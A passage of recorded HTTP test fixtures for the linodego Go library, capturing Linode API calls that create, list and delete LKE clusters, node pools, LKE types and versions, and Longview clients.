"1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo 2, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}], "page": 1, "pages": 1, "results": 16}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Accept-Encoding - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions/availability?page=1 method: GET response: body: '{"data": [], "page": 1, "pages": 1, "results": 0}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Length: - "49" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"node_pools":[{"count":1,"type":"g6-standard-2","disks":null,"tags":["test"],"labels":null,"taints":null}],"label":"go-lke-test-def","region":"us-east","k8s_version":"1.29","tags":["testing"]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters method: POST response: body: '{"id": 8207, "status": "ready", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "label": "go-lke-test-def", "region": "us-east", "k8s_version": "1.29", "control_plane": {"high_availability": false}, "tags": ["testing"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "239" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"count":2,"type":"g6-standard-2","disks":[{"size":1000,"type":"ext4"}],"tags":["testing"],"labels":null,"taints":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/8207/pools method: POST response: body: '{"id": 10167, "type": "g6-standard-2", "count": 2, "nodes": [{"id": "10167-1dbe59f50000", "instance_id": null, "status": "not_ready"}, {"id": "10167-408bb2b20000", "instance_id": null, "status": "not_ready"}], "disks": [{"size": 1000, "type": "ext4"}], "autoscaler": {"enabled": false, "min": 2, "max": 2}, "labels": {}, "taints": [], "tags": ["testing"], "disk_encryption": "enabled"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Accept-Encoding - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/8207/pools?page=1 method: GET response: body: '{"data": [{"id": 10166, "type": "g6-standard-2", "count": 1, "nodes": [{"id": "10166-260254a70000", "instance_id": null, "status": "not_ready"}], "disks": [], "autoscaler": {"enabled": false, "min": 1, "max": 1}, "labels": {}, "taints": [], "tags": ["test"], "disk_encryption": "enabled"}, {"id": 10167, "type": "g6-standard-2", "count": 2, "nodes": [{"id": "10167-1dbe59f50000", "instance_id": null, "status": "not_ready"}, {"id": "10167-408bb2b20000", "instance_id": null, "status": "not_ready"}], "disks": [{"size": 1000, "type": "ext4"}], "autoscaler": {"enabled": false, "min": 2, "max": 2}, "labels": {}, "taints": [], "tags": ["testing"], "disk_encryption": "enabled"}], "page": 1, "pages": 1, "results": 2}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Accept-Encoding - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/8207/pools/10167 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/8207 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestLKEType_List.yaml000066400000000000000000000037061474652371000305660ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/types?page=1 method: GET response: body: '{"data": [{"id": "lke-sa", "label": "LKE Standard Availability", "price": {"hourly": 0.0, "monthly": 0.0}, "region_prices": [], "transfer": 0}, {"id": "lke-ha", "label": "LKE High Availability", "price": {"hourly": 0.09, "monthly": 60.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.108, "monthly": 72.0}, {"id": "br-gru", "hourly": 0.126, "monthly": 84.0}], "transfer": 0}], "page": 1, "pages": 1, "results": 2}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "415" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 05 Sep 2024 17:47:57 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestLKEVersion_GetFound.yaml000066400000000000000000000027271474652371000320740ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/versions/1.29 method: GET response: body: '{"id": "1.29"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "14" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestLKEVersion_GetMissing.yaml000066400000000000000000000021031474652371000324160ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/versions/does-not-exist method: GET response: body: '{"errors": [{"reason": "Not found"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store Content-Length: - "37" Content-Type: - application/json Server: - nginx Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_only X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" status: 404 Not Found code: 404 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestLKEVersions_List.yaml000066400000000000000000000031171474652371000314510ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/versions?page=1 method: GET response: body: '{"data": [{"id": "1.30"}, {"id": "1.29"}, {"id": "1.28"}], "page": 1, "pages": 1, "results": 3}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "95" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 03 Jul 2024 19:57:34 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestLongviewClient_Create.yaml000066400000000000000000000116321474652371000325270ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"label":"testing"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/longview/clients method: POST response: body: '{"id": 342826, "label": "testing", "api_key": "DD873740-C520-49DE-825B296BA2ABCED7", "install_code": "AACFFDDF-C094-4A3C-8288B2883AEECFC1", "apps": {"apache": 0, "nginx": 0, "mysql": 0}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "254" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 01 Jul 2024 19:30:59 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - longview:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/longview/clients/342826 method: GET response: body: '{"id": 342826, "label": "testing", "api_key": "DD873740-C520-49DE-825B296BA2ABCED7", "install_code": "AACFFDDF-C094-4A3C-8288B2883AEECFC1", "apps": {"apache": false, "nginx": false, "mysql": false}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "266" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 01 Jul 2024 19:31:00 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - longview:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/longview/clients/342826 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 01 Jul 2024 19:31:00 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - longview:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestLongviewClient_Delete.yaml000066400000000000000000000146411474652371000325310ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"label":"testing"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/longview/clients method: POST response: body: '{"id": 342827, "label": "testing", "api_key": "41828261-BFF9-4B4F-8FFCCC356F7A62D8", "install_code": "67B4F710-089D-4F40-964E6D1002E6CE4F", "apps": {"apache": 0, "nginx": 0, "mysql": 0}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "254" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 01 Jul 2024 19:31:00 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - longview:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/longview/clients/342827 method: GET response: body: '{"id": 342827, "label": "testing", "api_key": "41828261-BFF9-4B4F-8FFCCC356F7A62D8", "install_code": "67B4F710-089D-4F40-964E6D1002E6CE4F", "apps": {"apache": false, "nginx": false, "mysql": false}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "266" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 01 Jul 2024 19:31:00 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - longview:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/longview/clients/342827 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 01 Jul 2024 19:31:00 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - longview:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/longview/clients?page=1 method: GET response: body: '{"data": [], "page": 1, "pages": 1, "results": 0}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "49" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 01 Jul 2024 19:31:01 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - longview:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestLongviewClient_Get.yaml000066400000000000000000000152761474652371000320530ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"label":"testing"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/longview/clients method: POST response: body: '{"id": 342825, "label": "testing", "api_key": "4A7B4DBA-34E5-446C-963198CC554782F0", "install_code": "2902DFC9-1952-4BB7-98FA2943795A82F9", "apps": {"apache": 0, "nginx": 0, "mysql": 0}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "254" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 01 Jul 2024 19:30:58 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - longview:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/longview/clients/342825 method: GET response: body: '{"id": 342825, "label": "testing", "api_key": "4A7B4DBA-34E5-446C-963198CC554782F0", "install_code": "2902DFC9-1952-4BB7-98FA2943795A82F9", "apps": {"apache": false, "nginx": false, "mysql": false}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "266" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 01 Jul 2024 19:30:58 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - longview:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/longview/clients?page=1 method: GET response: body: '{"data": [{"id": 342825, "label": "testing", "api_key": "4A7B4DBA-34E5-446C-963198CC554782F0", "install_code": "2902DFC9-1952-4BB7-98FA2943795A82F9", "apps": {"apache": false, "nginx": false, "mysql": false}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "315" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 01 Jul 2024 19:30:58 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - longview:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/longview/clients/342825 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 01 Jul 2024 19:30:59 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - longview:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" 